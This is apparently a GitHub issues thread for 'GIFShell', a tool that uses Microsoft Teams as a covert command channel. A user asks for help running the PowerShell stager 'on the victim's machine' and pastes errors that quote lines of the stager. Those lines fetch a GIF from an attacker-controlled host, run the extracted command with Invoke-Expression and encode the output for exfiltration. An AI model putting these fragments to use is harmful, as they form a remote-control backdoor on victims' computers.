bobbyrsec / microsoft-teams-gifshell Goto Github PK

Featuring the articles of GIFShell and MS Teams 1-Click RCE / Drive-by Download Attack on the readme.md page would provide more context for the visitors.

First of all, thank you for the contribution!

I'm able to follow the step till "Step 8. Run the Powershell stager script on the victim’s machine" and show below errors, the JSON data however was sent to Teams channel through Webhook once, please advise. Thank you!

Recursive Errors

http://mydomain:8888/.gif
False
You cannot call a method on a null-valued expression.
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:21 char:1

• echo $b.GetType()

•   + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
  
  

You cannot call a method on a null-valued expression.
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:22 char:1

• $b = $b.Trim()

•   + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
  
  
  

Exception calling "Substring" with "1" argument(s): "startIndex cannot be larger than length of string.
Parameter name: startIndex"
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:27 char:1

• $DecodedText2 = $DecodedText.Substring($DecodedText.IndexOf("`;hello; ...

•   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentOutOfRangeException
  
  

Invoke-Expression : Cannot bind argument to parameter 'Command' because it is null.
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:35 char:32

• $cmdOutput = Invoke-Expression $DecodedText2 | Out-String

•                            ~~~~~~~~~~~~~
  

  • CategoryInfo : InvalidData: (:) [Invoke-Expression], ParameterBindingValidationException
  • FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand

You cannot call a method on a null-valued expression.
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:38 char:1

• $cmdOutput = $cmdOutput.ToString()

•   + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
  
  

Exception calling "GetBytes" with "1" argument(s): "Array cannot be null.
Parameter name: chars"
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:42 char:1

• $encodedBytes = [System.Text.Encoding]::UTF8.GetBytes($cmdOutput)

•   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException
  
  

Exception calling "ToBase64String" with "1" argument(s): "Value cannot be null.
Parameter name: inArray"
At D:\Github\Microsoft-Teams-GIFShell\TeamsShell.ps1:43 char:1

• $encodedText = [System.Convert]::ToBase64String($encodedBytes)

•   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ArgumentNullException